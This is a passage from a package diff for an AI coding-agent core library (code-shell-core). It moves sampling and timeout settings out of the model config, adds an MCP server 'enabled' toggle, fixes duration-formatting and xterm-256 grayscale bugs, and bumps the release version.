  description: string;
227
267
  text?: string;
228
268
  error?: string;
269
+ agentType?: string;
229
270
  } | {
230
271
  type: "tool_summary";
231
272
  summary: string;
@@ -261,22 +302,27 @@ export type BackgroundAgentCompletedEvent = Extract<StreamEvent, {
261
302
  type: "background_agent_completed";
262
303
  }>;
263
304
  export type StreamCallback = (event: StreamEvent) => void | Promise<void>;
305
+ /**
306
+ * LLMConfig — model identity only. Everything in this object describes
307
+ * "which model and how to reach it", nothing about user preferences or
308
+ * client wiring. Hot-switching models replaces this object wholesale.
309
+ *
310
+ * For cross-model preferences (temperature, timeouts, image detail) see
311
+ * ClientDefaults — those live on the Engine and feed every LLMClient
312
+ * independently of model identity.
313
+ */
264
314
  export interface LLMConfig {
265
315
  provider: string;
266
316
  model: string;
267
317
  apiKey?: string;
268
318
  baseUrl?: string;
269
- temperature?: number;
270
- topP?: number;
271
319
  maxTokens?: number;
272
- timeout?: number;
273
- retryMaxAttempts?: number;
274
- enableStreaming?: boolean;
275
320
  /**
276
- * Default thinking-mode for DeepSeek V4. Per-call `options.thinking`
277
- * (e.g. summarize sub-calls) overrides this. Ignored on other providers.
321
+ * Default reasoning/thinking setting for this model. Per-call
322
+ * `options.reasoning` (e.g. summarize sub-calls) overrides this.
323
+ * Translated to the per-vendor wire form by the client's capability layer.
278
324
  */
279
- thinking?: "enabled" | "disabled";
325
+ reasoning?: import("./llm/reasoning-setting.js").ReasoningSetting;
280
326
  /**
281
327
  * The provider's `kind` (deepseek/openai/zai/openrouter/...). Used by
282
328
  * the capability layer to look up per-(kind, model) request-shape rules
@@ -286,6 +332,27 @@ export interface LLMConfig {
286
332
  */
287
333
  providerKind?: string;
288
334
  }
335
+ /**
336
+ * ClientDefaults — runtime knobs that apply regardless of which model is
337
+ * active. Settings/UI source these once at boot (or when settings change);
338
+ * model hot-switching never alters them.
339
+ *
340
+ * Anything model-specific belongs in LLMConfig instead.
341
+ */
342
+ export interface ClientDefaults {
343
+ /** Sampling temperature. Default 0.3. Per-call options.temperature overrides. */
344
+ temperature?: number;
345
+ /** HTTP timeout in ms for LLM requests. Default 120_000. */
346
+ timeout?: number;
347
+ /** Max retry attempts for transient errors. Default 3. */
348
+ retryMaxAttempts?: number;
349
+ /**
350
+ * OpenAI-style detail hint sent on every image_url part. Anthropic
351
+ * ignores this. Defaults to "high" (OpenAI's own default) when
352
+ * unset; "low" is 85-tokens-per-image fixed.
353
+ */
354
+ imageDetail?: "low" | "high" | "original";
355
+ }
289
356
  export interface LLMResponse {
290
357
  text: string;
291
358
  toolCalls: ToolCall[];
@@ -310,6 +377,14 @@ export interface MCPServerConfig {
310
377
  url?: string;
311
378
  transport?: MCPTransport;
312
379
  headers?: Record<string, string>;
380
+ /**
381
+ * Toggle a server off without deleting its config (mirrors Codex's
382
+ * `enabled` field). Absent or `true` → connected; only the literal
383
+ * `false` disables it. Filtered in MCPManager.connectAll so the
384
+ * connection is never attempted; the entry stays in settings so the
385
+ * UI toggle can flip it back on. See connectAll().
386
+ */
387
+ enabled?: boolean;
313
388
  }
314
389
  /**
315
390
  * Shell-hook configuration entry from settings.json. Each entry binds
@@ -33,8 +33,10 @@ export function formatDuration(ms, options) {
33
33
  if (ms === 0) {
34
34
  return '0s';
35
35
  }
36
- // For durations < 1s, show 1 decimal place (e.g., 0.5s)
37
- if (ms < 1) {
36
+ // For durations < 1s, show 1 decimal place (e.g., 0.5s). This must cover
37
+ // the whole (0, 1000)ms range — the old `< 1` guard let [1, 1000)ms fall
38
+ // through to Math.floor(ms/1000) = 0 → a wrong "0s".
39
+ if (ms < 1000) {
38
40
  const s = (ms / 1000).toFixed(1);
39
41
  return `${s}s`;
40
42
  }
@@ -8,11 +8,18 @@
8
8
  * Import this module instead of `proper-lockfile` directly. The underlying
9
9
  * package is only loaded the first time a lock function is actually called.
10
10
  */
11
+ import { createRequire } from 'node:module';
12
+ // proper-lockfile is CommonJS. This module compiles to ESM (tsc module: ESNext,
13
+ // package "type":"module"), and `require` is NOT a global in ESM — under the
14
+ // Electron main process (an ESM bundle that loads core as an external ESM dep)
15
+ // a bare `require('proper-lockfile')` throws "require is not defined", which
16
+ // surfaced as run locks silently failing ("Run now does nothing"). createRequire
17
+ // gives us a CJS-capable require that works in both ESM and CJS/Bun hosts.
18
+ const nodeRequire = createRequire(import.meta.url);
11
19
  let _lockfile;
12
20
  function getLockfile() {
13
21
  if (!_lockfile) {
14
- // eslint-disable-next-line @typescript-eslint/no-require-imports
15
- _lockfile = require('proper-lockfile');
22
+ _lockfile = nodeRequire('proper-lockfile');
16
23
  }
17
24
  return _lockfile;
18
25
  }
@@ -91,3 +91,9 @@ export declare function getTheme(themeName: ThemeName): Theme;
91
91
  * on that terminal we downgrade to the nearest xterm-256 color index instead.
92
92
  */
93
93
  export declare function themeColorToAnsi(themeColor: string): string;
94
+ /**
95
+ * Nearest xterm-256 color index for an RGB triple.
96
+ * Uses the 6×6×6 color cube (indices 16-231) plus the 24-step grayscale ramp
97
+ * (indices 232-255).
98
+ */
99
+ export declare function rgbToXterm256(r: number, g: number, b: number): number;
@@ -527,14 +527,16 @@ export function themeColorToAnsi(themeColor) {
527
527
  * Uses the 6×6×6 color cube (indices 16-231) plus the 24-step grayscale ramp
528
528
  * (indices 232-255).
529
529
  */
530
- function rgbToXterm256(r, g, b) {
530
+ export function rgbToXterm256(r, g, b) {
531
531
  // Grayscale ramp: pick it when all channels are equal-ish
532
532
  if (Math.abs(r - g) < 8 && Math.abs(g - b) < 8) {
533
533
  if (r < 8)
534
534
  return 16;
535
535
  if (r > 248)
536
536
  return 231;
537
- return Math.round((r - 8) / 247 * 24) + 232;
537
+ // 24 ramp steps (idx 232-255) span RGB [8,248] = 240 units /240*23.
538
+ // The old /247*24 produced off-by-one indices.
539
+ return Math.round((r - 8) / 240 * 23) + 232;
538
540
  }
539
541
  // 6×6×6 cube
540
542
  const ri = Math.round(r / 255 * 5);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@cjhyy/code-shell-core",
3
- "version": "0.5.0-rc.0",
3
+ "version": "0.5.0-rc.2",
4
4
  "description": "Core engine for code-shell — agent orchestration, tool execution, hooks, protocol. UI-agnostic.",
5
5
  "type": "module",
6
6
  "main": "./dist/index.js",
@@ -34,6 +34,7 @@
34
34
  "openai": "^4.82.0",
35
35
  "proper-lockfile": "^4.1.2",
36
36
  "semver": "^7.7.4",
37
+ "smol-toml": "^1.6.1",
37
38
  "strip-ansi": "^7.2.0",
38
39
  "yaml": "^2.7.0",
39
40
  "zod": "^3.24.2"